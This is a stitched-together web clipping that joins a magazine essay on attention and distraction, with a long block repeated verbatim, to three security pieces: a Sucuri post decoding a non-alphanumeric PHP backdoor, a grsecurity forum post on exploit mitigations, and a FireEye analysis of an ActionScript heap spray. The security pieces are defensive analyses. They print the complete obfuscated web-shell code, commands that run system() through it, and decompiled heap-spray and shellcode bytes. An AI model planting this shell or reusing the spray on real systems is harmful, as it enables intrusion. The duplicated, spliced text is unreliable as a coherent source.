of attention. A grad-school friend tells me that Adderall allowed him to
squeeze his mind “like a muscle.” Joshua Foer, writing in Slate after a
weeklong experiment with Adderall, said the drug made him feel like he’d “been
bitten by a radioactive spider”—he beat his unbeatable brother at Ping-Pong,
solved anagrams, devoured dense books. “The part of my brain that makes me
curious about whether I have new e-mails in my in-box apparently shut down,”
he wrote. The most advanced Buddhist monks become world-class multitaskers.
Meditation might speed up their mental processes enough to handle information
overload. Although neuroenhancers are currently illegal to use without a
prescription, they’re popular among college students \(on some campuses, up to
25 percent of students admitted to taking them\) and—if endless anecdotes can
be believed—among a wide spectrum of other professional focusers: journalists
on deadline, doctors performing high-stakes surgeries, competitors in poker
tournaments, researchers suffering through the grind of grant-writing. There
has been controversy in the chess world recently about drug testing at
tournaments. In December, a group of scientists published a paper in  _Nature_
that argued for the legalization and mainstream acceptance of neuroenhancers,
suggesting that the drugs are really no different from more traditional
“cognitive enhancers” such as laptops, exercise, nutrition, private tutoring,
reading, and sleep. It’s not quite that simple, of course. Adderall users
frequently complain that the drug stifles their creativity—that it’s best for
doing ultrarational, structured tasks. \(As Foer put it, “I had a nagging
suspicion that I was thinking with blinders on.”\) One risk the scientists do
acknowledge is the fascinating, horrifying prospect of “raising cognitive
abilities beyond their species-typical upper bound.” Ultimately, one might
argue, neuroenhancers spring from the same source as the problem they’re
designed to correct: our lust for achievement in defiance of natural
constraints. It’s easy to imagine an endless attentional arms race in which
new technologies colonize ever-bigger zones of our attention, new drugs expand
the limits of that attention, and so on. One of the most exciting—and
confounding—solutions to the problem of attention lies right at the
intersection of our willpower and our willpower-sapping technologies: the
grassroots Internet movement known as “lifehacking.” It began in 2003 when the
British tech writer Danny O’Brien, frustrated by his own lack of focus, polled
70 of his most productive friends to see how they managed to get so much done;
he found that they’d invented all kinds of clever little tricks—some high-
tech, some very low-tech—to help shepherd their attention from moment to
moment: ingenious script codes for to-do lists, software hacks for managing
e-mail, rituals to avoid sinister time-wasting traps such as “yak shaving,”
the tendency to lose yourself in endless trivial tasks tangentially related to
the one you really need to do. \(O’Brien wrote a program that prompts him
every ten minutes, when he’s online, to ask if he’s procrastinating.\) Since
then, lifehacking has snowballed into a massive self-help program, written and
revised constantly by the online global hive mind, that seeks to help you
allocate your attention efficiently. Tips range from time-management habits
\(the 90-second shower\) to note-taking techniques \(mind mapping\) to
software shortcuts \(how to turn your Gmail into a to-do list\) to
delightfully retro tech solutions \(turning an index card into a portable dry-
erase board by covering it with packing tape\).  
In Defense of DistractionI’m not ready to blame my restless attention entirely
on a faulty willpower. Some of it is pure impersonal behaviorism. The Internet
is basically a Skinner box engineered to tap right into our deepest mechanisms
of addiction. As B. F. Skinner’s army of lever-pressing rats and pigeons
taught us, the most irresistible reward schedule is not, counterintuitively,
the one in which we’re rewarded constantly but something called “variable
ratio schedule,” in which the rewards arrive at random. And that randomness is
practically the Internet’s defining feature: It dispenses its never-ending
little shots of positivity—a life-changing e-mail here, a funny YouTube video
there—in gloriously unpredictable cycles. It seems unrealistic to expect
people to spend all day clicking reward bars—searching the web, scanning the
relevant blogs, checking e-mail to see if a co-worker has updated a
project—and then just leave those distractions behind, as soon as they’re not
strictly required, to engage in “healthy” things like books and ab crunches
and undistracted deep conversations with neighbors. It would be like requiring
employees to take a few hits of opium throughout the day, then being surprised
when it becomes a problem. Last year, an editorial in the  _American Journal
of Psychiatry_ raised the prospect of adding “Internet addiction” to the
_DSM_ , which would make it a disorder to be taken as seriously as
schizophrenia.A quintessentially Western solution to the attention problem—one
that neatly circumvents the issue of willpower—is to simply dope our brains
into focus. We’ve done so, over the centuries, with substances ranging from
tea to tobacco to NoDoz to Benzedrine, and these days the tradition seems to
be approaching some kind of zenith with the rise of neuroenhancers: drugs
designed to treat ADHD \(Ritalin, Adderall\), Alzheimer’s \(Aricept\), and
narcolepsy \(Provigil\) that can produce, in healthy people, superhuman states
of attention. A grad-school friend tells me that Adderall allowed him to
squeeze his mind “like a muscle.” Joshua Foer, writing in Slate after a
weeklong experiment with Adderall, said the drug made him feel like he’d “been
bitten by a radioactive spider”—he beat his unbeatable brother at Ping-Pong,
solved anagrams, devoured dense books. “The part of my brain that makes me
curious about whether I have new e-mails in my in-box apparently shut down,”
he wrote. The most advanced Buddhist monks become world-class multitaskers.
Meditation might speed up their mental processes enough to handle information
overload. Although neuroenhancers are currently illegal to use without a
prescription, they’re popular among college students \(on some campuses, up to
25 percent of students admitted to taking them\) and—if endless anecdotes can
be believed—among a wide spectrum of other professional focusers: journalists
on deadline, doctors performing high-stakes surgeries, competitors in poker
tournaments, researchers suffering through the grind of grant-writing. There
has been controversy in the chess world recently about drug testing at
tournaments. In December, a group of scientists published a paper in  _Nature_
that argued for the legalization and mainstream acceptance of neuroenhancers,
suggesting that the drugs are really no different from more traditional
“cognitive enhancers” such as laptops, exercise, nutrition, private tutoring,
reading, and sleep. It’s not quite that simple, of course. Adderall users
frequently complain that the drug stifles their creativity—that it’s best for
doing ultrarational, structured tasks. \(As Foer put it, “I had a nagging
suspicion that I was thinking with blinders on.”\) One risk the scientists do
acknowledge is the fascinating, horrifying prospect of “raising cognitive
abilities beyond their species-typical upper bound.” Ultimately, one might
argue, neuroenhancers spring from the same source as the problem they’re
designed to correct: our lust for achievement in defiance of natural
constraints. It’s easy to imagine an endless attentional arms race in which
new technologies colonize ever-bigger zones of our attention, new drugs expand
the limits of that attention, and so on. One of the most exciting—and
confounding—solutions to the problem of attention lies right at the
intersection of our willpower and our willpower-sapping technologies: the
grassroots Internet movement known as “lifehacking.” It began in 2003 when the
British tech writer Danny O’Brien, frustrated by his own lack of focus, polled
70 of his most productive friends to see how they managed to get so much done;
he found that they’d invented all kinds of clever little tricks—some high-
tech, some very low-tech—to help shepherd their attention from moment to
moment: ingenious script codes for to-do lists, software hacks for managing
e-mail, rituals to avoid sinister time-wasting traps such as “yak shaving,”
the tendency to lose yourself in endless trivial tasks tangentially related to
the one you really need to do. \(O’Brien wrote a program that prompts him
every ten minutes, when he’s online, to ask if he’s procrastinating.\) Since
then, lifehacking has snowballed into a massive self-help program, written and
revised constantly by the online global hive mind, that seeks to help you
allocate your attention efficiently. Tips range from time-management habits
\(the 90-second shower\) to note-taking techniques \(mind mapping\) to
software shortcuts \(how to turn your Gmail into a to-do list\) to
delightfully retro tech solutions \(turning an index card into a portable dry-
erase board by covering it with packing tape\).  
In Defense of DistractionIII. Embracing the Poverty of AttentionSometimes I
wonder if the time I’m wasting is actually being wasted. Isn’t blowing a
couple of hours on the Internet, in the end, just another way of following
your attention? My life would be immeasurably poorer if I hadn’t stumbled a
few weeks ago across the Boston Molasses Disaster. \(Okay, seriously, forget
it: I hereby release you to go look up the Boston Molasses Disaster. A giant
wave of molasses destroyed an entire Boston neighborhood 90 years ago,
swallowing horses and throwing an elevated train off its track. It took months
to scrub all the molasses out of the cobblestones\! The harbor was brown until
summer\! The world is a stranger place than we will ever know.\) The prophets
of total attentional meltdown sometimes invoke, as an example of the great
culture we’re going to lose as we succumb to e-thinking, the canonical French
juggernaut Marcel Proust. And indeed, at seven volumes, several thousand
pages, and 1.5 million words,  _À la Recherche du Temps Perdu_ is in many ways
the anti-Twitter. \(It would take, by the way, exactly 68,636 tweets to
reproduce.\) It’s important to remember, however, that the most famous moment
in all of Proust, the moment that launches the entire monumental project, is a
moment of pure distraction: when the narrator, Marcel, eats a spoonful of tea-
soaked madeleine and finds himself instantly transported back to the world of
his childhood. Proust makes it clear that conscious focus could never have
yielded such profound magic: Marcel has to abandon the constraints of what he
calls “voluntary memory”—the kind of narrow, purpose-driven attention that
Adderall, say, might have allowed him to harness—in order to get to the deeper
truths available only by distraction. That famous cookie is a kind of
hyperlink: a little blip that launches an associative cascade of a million
other subjects. This sort of free-associative wandering is essential to the
creative process; one moment of judicious unmindfulness can inspire thousands
of hours of mindfulness. It’s possible that we’re evolving toward a new
techno-cognitive nomadism, in which restlessness will be an advantage. My
favorite focusing exercise comes from William James: Draw a dot on a piece of
paper, then pay attention to it for as long as you can. \(Sitting in my office
one afternoon, with my monkey mind swinging busily across the lush rain forest
of online distractions, I tried this with the closest dot in the vicinity: the
bright-red mouse-nipple at the center of my laptop’s keyboard. I managed to
stare at it for 30 minutes, with mixed results.\) James argued that the human
mind can’t actually focus on the dot, or any unchanging object, for more than
a few seconds at a time: It’s too hungry for variety, surprise, the adventure
of the unknown. It has to refresh its attention by continually finding new
aspects of the dot to focus on: subtleties of its shape, its relationship to
the edges of the paper, metaphorical associations \(a fly, an eye, a hole\).
The exercise becomes a question less of pure unwavering focus than of your
ability to organize distractions around a central point. The dot, in other
words, becomes only the hub of your total dot-related distraction. This is
what the web-threatened punditry often fails to recognize: Focus is a
paradox—it has distraction built into it. The two are symbiotic; they’re the
systole and diastole of consciousness. Attention comes from the Latin “to
stretch out” or “reach toward,” distraction from “to pull apart.” We need
both. In their extreme forms, focus and attention may even circle back around
and bleed into one other. Meyer says there’s a subset of Buddhists who believe
that the most advanced monks become essentially “world-class
multitaskers”—that all those years of meditation might actually speed up their
mental processes enough to handle the kind of information overload the rest of
us find crippling. The truly wise mind will harness, rather than abandon, the
power of distraction. Unwavering focus—the inability to be distracted—can
actually be just as problematic as ADHD. Trouble with “attentional shift” is a
feature common to a handful of mental illnesses, including schizophrenia and
OCD. It’s been hypothesized that ADHD might even be an advantage in certain
change-rich environments. Researchers have discovered, for instance, that a
brain receptor associated with ADHD is unusually common among certain nomads
in Kenya, and that members who have the receptor are the best nourished in the
group. It’s possible that we’re all evolving toward a new techno-cognitive
nomadism, a rapidly shifting environment in which restlessness will be an
advantage again. The deep focusers might even be hampered by having too much
attention: Attention Surfeit Hypoactivity Disorder. I keep returning to the
parable of Einstein and Lennon—the great historical geniuses hypothetically
ruined by modern distraction. What made both men’s achievements so
groundbreaking, though, was that they did something modern technology is
getting increasingly better at allowing us to do: They very powerfully linked
and synthesized things that had previously been unlinked—Newtonian gravity and
particle physics, rock and blues and folk and doo-wop and bubblegum pop and
psychedelia. If Einstein and Lennon were growing up today, their natural
genius might be so pumped up on the possibilities of the new technology they’d
be doing even more dazzling things. Surely Lennon would find a way to
manipulate his BlackBerry to his own ends, just like he did with all the new
technology of the sixties—he’d harvest spam and text messages and web snippets
and build them into a new kind of absurd poetry. The Beatles would make the
best viral videos of all time, simultaneously addictive and artful, disposable
and forever. All of those canonical songs, let’s remember, were created
entirely within a newfangled mass genre that was widely considered to be an
assault on civilization and the sanctity of deep human thought. Standards
change. They change because of great creations in formerly suspect media.  
In Defense of DistractionWhich brings me, finally, to the next generation of
attenders, the so-called “net-gen” or “digital natives,” kids who’ve grown up
with the Internet and other time-slicing technologies. There’s been lots of
hand-wringing about all the skills they might lack, mainly the ability to
concentrate on a complex task from beginning to end, but surely they can
already do things their elders can’t—like conduct 34 conversations
simultaneously across six different media, or pay attention to switching
between attentional targets in a way that’s been considered impossible. More
than any other organ, the brain is designed to change based on experience, a
feature called neuroplasticity. London taxi drivers, for instance, have
enlarged hippocampi \(the brain region for memory and spatial processing\)—a
neural reward for paying attention to the tangle of the city’s streets. As we
become more skilled at the 21st-century task Meyer calls “flitting,” the
wiring of the brain will inevitably change to deal more efficiently with more
information. The neuroscientist Gary Small speculates that the human brain
might be changing faster today than it has since the prehistoric discovery of
tools. Research suggests we’re already picking up new skills: better
peripheral vision, the ability to sift information rapidly. We recently
elected the first-ever BlackBerry president, able to flit between sixteen
national crises while focusing at a world-class level. Kids growing up now
might have an associative genius we don’t—a sense of the way ten projects all
dovetail into something totally new. They might be able to engage in seeming
contradictions: mindful web-surfing, mindful Twittering. Maybe, in flights of
irresponsible responsibility, they’ll even manage to attain the paradoxical,
Zenlike state of focused distraction.

# Ask Sucuri: Non-alphanumeric Backdoors | Sucuri Blog
**Created:**| _9/13/2013 10:53:47 AM_  
---|---  
**Updated:**| _9/13/2013 11:58:11 AM_  
**Author:**| __  
**Tags:**| _php backdoor_  
  

# **A** sk Sucuri: Non-alphanumeric Backdoors****

By Daniel Cid on September 12, 2013 **.** 9 Comments

If you have any questions about malware, blacklisting, or security in general,
send them to contact@sucuri.net and we will write a post about it and
share**.** For all the “Ask Sucuri” answers, go here **.**

* * *
##### Question: My site got hacked and I am seeing this backdoor with no alpha
numeric characters**.** What is it doing?

[code]

    @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))]**.** =$_;
    $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__]**.** =(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
    $_[$__+$__] =($_[$__][$__>>$__])**.**($_[$__][$__]^$_[$__][($__<<$__)-$__] );
    $_[$__+$__] **.** =($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
    $_[$__+$__] **.** =($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
    $_=$ 
    $_[$__+ $__] ;$_[@-_]($_[@**!** +_] );
    
[/code]

**Answer:** Backdoors are tools used by attackers to help them maintain access
to the sites they compromise**.** The harder it is to find the backdoor, the
better for the attackers, since it will likely remain undetected allowing them
to reinfect or regain access to the site whenever they want**.**

This backdoor is a very good example of a sneaky one**.** No alpha numeric
characters, no direct function calls or anything like that**.** So what is it
doing**?** We asked one of our developers, Yorman Arias, to help decode
it**.**

##### Non-Alphanumeric PHP-Shell****

This is an interesting PHP-Shell with non-alphanumeric characters, it is
created with an array of data concatenated to be able to execute any PHP
function with one optional argument that can be passed through a GET
request**.**

<img src='img/Temp2_883.png' alt='sucuri-non-alphanumeric-phpshell.1' />

Since it is very hard to read, we divided it into parts by adding a new line
after each semicolon:

<img src='img/Temp2_884.png' alt='sucuri-non-alphanumeric-phpshell.2' />

As you can see, we wrote some var\_dump sentences after each line involved
with a mathematical and functional operation**.**

To decode it in more detail, we executed it without hesitation because there
wasn’t an operation with direct contact with the filesystem**.** In the
process we got these two warnings \(shell.php is the filename we chose to work
with\):

[code]

    PHP Notice:  Undefined offset: 0 in /shell.php on line 16
    PHP Fatal error:  Function name must be a string in /shell.php on line 17
    
[/code]

We assumed that the shell was waiting for an argument in offset 0 to be a
valid PHP function name using this code: $\_\[0\]**.** The last sentence was
obviously the execution of that method, so we used the common function
system\(\) and sent a GET request to the shell like this:

[code]

    $ curl 'httx:// 127**.** 0.0.1:9999/shell  .php?0=system'
    
[/code]

But didn’t get a response, so we checked the server logs to find this:

[code]

    PHP Warning:  system(): Cannot execute a blank command in /shell.php on line 17
    
[/code]

The PHP function system\(\) was waiting for an argument with a valid command
to be executed on the server, but it wasn’t in the code so it should be passed
as another parameter in the request, and finally got this:

[code]

    $ curl 'httx://127**.** 0.0.1:9999/ shell .php?0=system &1=uname  %20-a'
    Linux linux 3**.** 7-trunk-amd64 #1 SMP Debian 3.7.2-0+kali8 x86_64 GNU/Linux
    
[/code]

##### Technical Explanation****

**Step \#1**

The PHP Shell started with this code: @$\_\[\]=@**\!** +\_; an array
initialization with a curious value. PHP will try to parse the underscore
present in the value of that variable as a constant, and when the interpreter
is unable to find the constant, it will prompt us with a notice**.** The
creator of this shell suppressed the notice warning using the @ symbol**.**

The missing constant in turn will be converted to a string: string\(1\) ‘\_’
and this one was casted to an integer using the plus-operator to get this:
int\(0\)

Finally, appending the exclamation-mark, the value zero will be casted to a
boolean bool\(true\)**.** So, at the last we have a first line of code decoded
being interpreted as an array with a single boolean value: array\(true\)

**Step \#2**

The programmer tries to store it by pushing the value into the array $\_,
however it doesn’t exist, so he suppressed that too**.** PHP will
automagically create it, and the value will get stored**.**

Normally, when we try to access an array as a string in PHP, it will generate
a string with value Array**.** If we have a string, we can generate other
strings out of it by \(ab\)using AND, OR and XOR**.**

It seems the programmer figured that he had a few characters that could easily
generate in PHP, so he generated the characters to create the word GET, and by
utilizing some boolean magic and variable dereferencing, he ended up with a
PHP Shell with these features:

  * No quotes**\!** Quotes tend to trigger IDS’es and WAF’s.
  * No use of functions**.**
  * No strings.
  * No numbers**.**
  * No constants.

##### Conclusion****

What more is there to say.. <img src='img/Temp2_885.png' alt=':)' />

If you guys have any questions about this backdoor \(or have any others you’d
like us to breakdown\), let us know**.**

Filed Under: Ask , sucuri Tagged With: Ask , sucuri

# grsecurity forums • View topic - Assorted Notes on Defense and Exploitation

**Created:**| _1/1/2011 6:37:03 PM_  
---|---  
**Updated:**| _1/1/2011 6:38:26 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  
As I mentioned at the RSA Europe panel on "the History and Future of Binary
Exploitation", we have been seeing and will continue to see a shift in
importance from the discovery of vulnerabilities in individual pieces of
software to the discovery of vulnerabilities in mitigation techniques. The
effectiveness \(and cost-effectiveness\) of the protections pioneered in PaX
should be clear to everyone by this point, even if the clarity of this
situation is a bit muddled by poor implementations/design decisions on certain
OSes.

  

It was for this reason that I was a bit surprised by the presentation by
Andreas Bogk at 27C3 recently entitled "Defense is not dead." I of course
don't argue with this title, though I'd go further to say that it hasn't been
dead for the past 10 years, if you've been paying attention. I disagree with
the conclusions of the presentation though, and some of the statements made in
it bothered me. A video of the presentation is available at:
http://achtbaan.nikhef.nl/27c3-stream/r ... ot%20dead/ . Andreas is definitely
very bright, but discussing the solution to our security problems in terms of
removing all the exploitable bugs through formally-verified compilers and new
languages/processors/OSes seems rather misguided.

  

Defense will die of old age before normal users will see security problems
evaporate from these technologies. Our real-world experience should have
sufficiently demonstrated to us that ridding the world of vulnerabilities will
never happen \(not to mention all the legacy code still laying around\).
Formal verification also has the real potential to introduce a sense of false
security. How will users have knowledge of what was proven where? The
verification is only as good as the proof. Does any long-term adoption plan
exist? How would we \(or is it even possible to\) transition to such an
extreme solution? Is it possible to solve the problem of legacy code? Can you
run an old firefox binary on this new system without having your data stolen
out of it via an exploit? There are all kinds of other societal factors to
consider, like the fact that users are generally against alteration of their
computing experience in a significant way \(see the backlash against the Vista
UAC\). Barring some reality-based answers to these questions, I'm inclined to
think of this approach more in terms of concept cars or fashion shows: the
point isn't to take the "solution" wholesale, but to find what bits and pieces
you can integrate into current solutions in a more progressive way.

  

We continue to see vulnerabilities in MS's implementation of PaX's
PAGEEXEC/ASLR features \(or vulnerabilities in other vendors' use of said
mitigations due to certain design decisions and compromises\). It's surprising
actually that this many years into having this functionality, large vendors
continue to apparently fail at implementing any kind of QA along the lines of
"don't ship out any code without /DYNAMICBASE," which has lead to nearly all
of the "ASLR bypass" stories that have cropped up in the past year or so.

  

It's important that the vendors take the initiative here, because with the
trends in security going the way they are, the self-interest of the industry
prevents it from being benevolent in reporting these kinds of mitigation
vulnerabilities. There's a difference between killing a single vulnerability,
which is probably found via fuzzing and which another researcher has likely
also found, and killing a mitigation vulnerability that may make the next 20
vulnerabilities discovered unexploitable \(or only unreliably exploitable\).
I've already heard of this kind of behavior taking place, and it's unfortunate
and unacceptable that money/job security/industry security is given greater
priority over actually fixing security problems. But this is all further
evidence in what I've mentioned to others as an industry knowingly in its
death throes. The tendency to ignore the latest OS/architecture trends and the
latest mitigations in exploitation research is yet further evidence.

  

On the topic of mitigations, it's important to make the distinction between
things like PAGEEXEC/SEGMEXEC/MPROTECT/ASLR and EAT address filtering. EAT
address filtering has more in common with things like Comodo's Memory Firewall
product that claimed protection against ret2libc \(see:
http://forums.comodo.com/frequently-ask ... 237.0.html\) but simply contained
a weak protection against canned ret2libc exploits against specific APIs. With
any knowledge of the method Comodo was using, through some minutes of
reversing, it wasn't difficult to modify a ret2libc-style exploit to still
work. In November, Skylined published a bypass for EAT address filtering,
which he wisely called a "pseudo-mitigation" \(see:
http://skypher.com/index.php/2010/11/17/bypassing-eaf/\). A side-note about
the comments to the article: DRx are privileged registers, so access to them
by unprivileged code triggers an exception \(i.e. you cannot just clear DR7 to
evade detection\). GD thus has nothing to do with this -- it would only cause
privileged access to DRx to fault as well. There are other caveats associated
with GD that generally makes it useless for anything security related, but
people always like throwing it out there as evidence that they read the Intel
manuals or something.

  

We need to be likewise careful when discussing "sandboxes." It's a failure
that we have discussions about software like Adobe Reader that boil down to:
"Person 1: Adobe Reader X has a sandbox. Person 2: A sandbox? that's great\!"
The implementation of the sandbox matters. This is why information like that
contained in Mark Dowd's posts: http://blog.azimuthsecurity.com/2010/05 ...
rview.html are important, though it would be nice to have this kind of
information more readily available to users of the software and without the
bias of the vendors themselves. Preventing the execution of arbitrary code or
other control flow modifications has benefits for sandboxing as well. If you
can guarantee that an attacker can't just issue arbitrary system calls \(in
order to exploit a kernel-level vulnerability as part of his/her exploit
chain\) then it doesn't matter so much that the sandbox in place has no
syscall-level filtering.

  

Defense isn't dead, but it's not easy to do \(properly\), especially under the
constraints Microsoft and others have to operate under. It's too bad there
aren't more people in the industry interested in defense -- if there were,
perhaps we could all work together to put ourselves out of jobs\!

  

Accepting applications,

-Brad

# FireEye Malware Intelligence Lab: Heap Spraying with Actionscript

**Created:**| _12/24/2009 11:43:42 AM_  
---|---  
**Updated:**| _12/24/2009 11:43:49 AM_  
**Author:**| __  
**Tags:**| _Exploit Malware-analysis_  
  

### Heap Spraying with Actionscript

## Why turning off Javascript won't help this time

### Introduction

As you may have heard, there's a new Adobe PDF-or-Flash-or-something 0-day in
the wild. So this is a quick note about how it's implemented, but **this blog
post is not going to cover any details about the exploit itself**.

### Background Summary

Most of the Acrobat exploits over the last several months use the, now common,
heap spraying technique, implemented in Javascript/ECMAscript, a Turing
complete language that Adobe thought would go well with static documents.
\(Cause that went so well for Postscript\) \(Ironically, PDF has now come full
circle back to having the features of Postscript that it was trying to get
away from.\) The exploit could be made far far  _less_ reliable, by disabling
Javascript in your Adobe Acrobat Reader.

But apparently there's no easy way to disable Flash through the UI. US-CERT
recommends renaming the"%ProgramFiles%\Adobe\Reader 9.0\Reader\authplay.dll"
and "%ProgramFiles%\Adobe\Reader 9.0\Reader\rt3d.dll" files. \[Edit: Actually
the source for this advice is the Adobe Product Security Incident Response
Team \(PSIRT\).\]

Anyway, here's why… Flash has it's own version of ECMAScript called
Actionscript, and whoever wrote this new 0-day, finally did something new by
implementing the heap-spray routine with Actionscript inside of Flash.

### Details

Actionscript is tokenized/compiled into an instruction set for an
"Actionscript Virtual Machine" \[AVM¹\] and it retains much of the same shape
in bytecode form, as the original Actionscript source. This makes it fairly
easy to de-compile the byte code back into something easier to read. For
example: \[Original flash filename replaced with xxxxx here\]

>
[code]

>          constructor * <q>[public]xxxxx_fla::MainTimeline=()(0 params, 0
> optional)
>          [stack:3 locals:1 scope:10-11 flags:]
>          {
>              00000) + 0:0 getlocal_0
>              00001) + 1:0 pushscope
>              00002) + 0:1 getlocal_0
>              00003) + 1:1 constructsuper 0 params
>              00004) + 0:1 findpropstrict <q>[public]::addFrameScript
>              00005) + 1:1 pushbyte 0
>              00006) + 2:1 getlex <q>[packageinternal]xxxxx_fla::frame1
>              00007) + 3:1 callpropvoid <q>[public]::addFrameScript, 2 params
>              00008) + 0:1 returnvoid
>          }
[/code]

This may be incorrect, because I'm using only the fantastic power of my own
brain to decompile this, but this is approximately what it says in English, er
I mean Actionscript:

>
[code]

>     var whatever:MovieClip = new MovieClip();
>          whatever:addframeScript(0, frame1);
>  
[/code]

And then `frame1` \[see Appendix\] is vaguely like this:

>
[code]

>     function frame1():void {
>         var a:String = "\13\13\13\13";
>         var b:String = "\0c\0c\0c\0c"; // A heap address, and effectively
> x86 NOPs
>         while ( b.length < 0x1000000 ) {
>            b = b + a;
>         }
>         // This brings us to instruction line 18 (see below)
>         var byteArr:ByteArray = new ByteArray(); // lines 19 thru 22
>         byteArr.writeByte(0x40); // lines 23 thru 34
>         byteArr.writeByte(0x40);
>         byteArr.writeByte(0x40);
>         byteArr.writeByte(0x40);
>  
>         // lines 36 thru 46  
>         while (byteArr.length < 64 * 0x100000) {
>            byteArr.writeMultiByte(b, "iso-8859-1");
>         }
>  
>         // line 47 onwards
>         byteArr.writeByte(0x90); // NOP
>         byteArr.writeByte(0x90); // NOP
>         byteArr.writeByte(0x90); // NOP
>         byteArr.writeByte(0x90); // NOP
>         byteArr.writeByte(0x81); // 81EC 20010000 → SUB ESP,0x120
>         byteArr.writeByte(0xEC);
>         byteArr.writeByte(0x20);
>         byteArr.writeByte(0x01);
>         byteArr.writeByte(0x00);
>         byteArr.writeByte(0x00);
>         // etc. etc. etc. building up the shellcode one byte at a time
>     }
[/code]

### Appendix

This is the output from the excellent SWFTools.

>
[code]

>          slot 0: var <q>[public]::a:NULL
>          slot 0: var <q>[public]::byteArr:<q>[public]flash.utils::ByteArray
>          slot 0: var <q>[public]::b:NULL
>           method * <q>[packageinternal]xxxxx_fla::frame1=()(0 params, 0
> optional)
>          [stack:3 locals:1 scope:10-11 flags:] slot:0
>          {
>              00000) + 0:0 getlocal_0
>              00001) + 1:0 pushscope
>              00002) + 0:1 findproperty <q>[public]::b
>              00003) + 1:1 pushstring "\0c\0c\0c\0c"
>              00004) + 2:1 initproperty <q>[public]::b
>              00005) + 0:1 findproperty <q>[public]::a
>              00006) + 1:1 pushstring "\13\13\13\13"
>              00007) + 2:1 initproperty <q>[public]::a
>              00008) + 0:1 jump ->15
>  
>              00009) + 0:1 label
>              00010) + 0:1 findproperty <q>[public]::b
>              00011) + 1:1 getlex <q>[public]::b
>              00012) + 2:1 getlex <q>[public]::a
>              00013) + 3:1 add
>              00014) + 2:1 initproperty <q>[public]::b
>  
>              00015) + 0:1 getlex <q>[public]::b
>              00016) + 1:1 getproperty <multi>{
>                           [private]NULL,[public]"",
>                           [private]NULL,[public]xxxxx_fla,
>                           [packageinternal]xxxxx_fla,
>                           [namespace]http://adobe.com/AS3/2006/builtin,
>                           [public]adobe.utils,
>                           [public]flash.accessibility,
>                           [public]flash.display,
>                           [public]flash.errors,
>                           [public]flash.events,
>                           [public]flash.external,
>                           [public]flash.filters,
>                           [public]flash.geom,
>                           [public]flash.media,
>                           [public]flash.net,
>                           [public]flash.printing,
>                           [public]flash.system,
>                           [public]flash.text,
>                           [public]flash.ui,
>                           [public]flash.utils,
>                           [public]flash.xml,
>                           [protected]xxxxx_fla:MainTimeline,
>                           [staticprotected]xxxxx_fla:MainTimeline,
>                           [staticprotected]flash.display:MovieClip,
>                           [staticprotected]flash.display:Sprite,
>
> [staticprotected]flash.display:DisplayObjectContainer,
>                           [staticprotected]flash.display:InteractiveObject,
>                           [staticprotected]flash.display:DisplayObject,
>                           [staticprotected]flash.events:EventDispatcher,
>                           [staticprotected]Object
>                           }::length
>  
>              00017) + 1:1 pushint 1048576
>              00018) + 2:1 iflt ->9
>  
>              00019) + 0:1 findproperty <q>[public]::byteArr
>              00020) + 1:1 findpropstrict <q>[public]flash.utils::ByteArray
>              00021) + 2:1 constructprop <q>[public]flash.utils::ByteArray, 0
> params
>              00022) + 2:1 initproperty <q>[public]::byteArr
>  
>              00023) + 0:1 getlex <q>[public]::byteArr
>              00024) + 1:1 pushbyte 64
>              00025) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
>              00026) + 0:1 getlex <q>[public]::byteArr
>              00027) + 1:1 pushbyte 64
>              00028) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
>              00029) + 0:1 getlex <q>[public]::byteArr
>              00030) + 1:1 pushbyte 64
>              00031) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
>              00032) + 0:1 getlex <q>[public]::byteArr
>              00033) + 1:1 pushbyte 64
>              00034) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
>              00035) + 0:1 jump ->41
>  
>              00036) + 0:1 label
>              00037) + 0:1 getlex <q>[public]::byteArr
>              00038) + 1:1 getlex <q>[public]::b
>              00039) + 2:1 pushstring "iso-8859-1"
>              00040) + 3:1 callpropvoid <q>[public]::writeMultiByte, 2 params
>              00041) + 0:1 getlex <q>[public]::byteArr
>              00042) + 1:1 getproperty <q>[public]::length
>              00043) + 1:1 pushint 1048576
>              00044) + 2:1 pushbyte 64
>              00045) + 3:1 multiply
>              00046) + 2:1 iflt ->36
>  
>              00047) + 0:1 getlex <q>[public]::byteArr
>              00048) + 1:1 pushshort 144
>              00049) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
>              00050) + 0:1 getlex <q>[public]::byteArr
>              00051) + 1:1 pushshort 144
>              00052) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
>              00053) + 0:1 getlex <q>[public]::byteArr
>              00054) + 1:1 pushshort 144
>              00055) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
>              00056) + 0:1 getlex <q>[public]::byteArr
>              00057) + 1:1 pushshort 144
>              00058) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
>              00059) + 0:1 getlex <q>[public]::byteArr
>              00060) + 1:1 pushshort 144
>              […]
>  
[/code]

And as Bojan Zdrnja at ISC points out, there are two different shellcode
payloads being used. I might write something more about these tomorrow \(no
promises\). Most of the changed lines in this diff, are just jump offsets,
which are different between the two, as there was some code added/deleted
between them, and I haven't normalized this yet.

> 90 | `nop`|   
> | 90 | `nop`  
> ---|---|---|---|---  
> 90 | `nop`|   
> | 90 | `nop`  
> 90 | `nop`|   
> | 90 | `nop`  
> 90 | `nop`|   
> | 90 | `nop`  
> 90 | `nop`|   
> | 90 | `nop`  
> 90 | `nop`|   
> | 90 | `nop`  
> 81EC20010000 | `sub esp,0x120`|   
> | 81EC20010000 | `sub esp,0x120`  
> 8BFC | `mov edi,esp`|   
> | 8BFC | `mov edi,esp`  
> 83C704 | `add edi,byte +0x4`|   
> | 83C704 | `add edi,byte +0x4`  
> C7073274910C | `mov dword [edi],0xc917432`|   
> | C7073274910C | `mov dword [edi],0xc917432`  
> C747048E130AAC | `mov dword [edi+0x4],0xac0a138e`|   
> | C747048E130AAC | `mov dword [edi+0x4],0xac0a138e`  
> C7470839E27D83 | `mov dword [edi+0x8],0x837de239`|   
> | C7470839E27D83 | `mov dword [edi+0x8],0x837de239`  
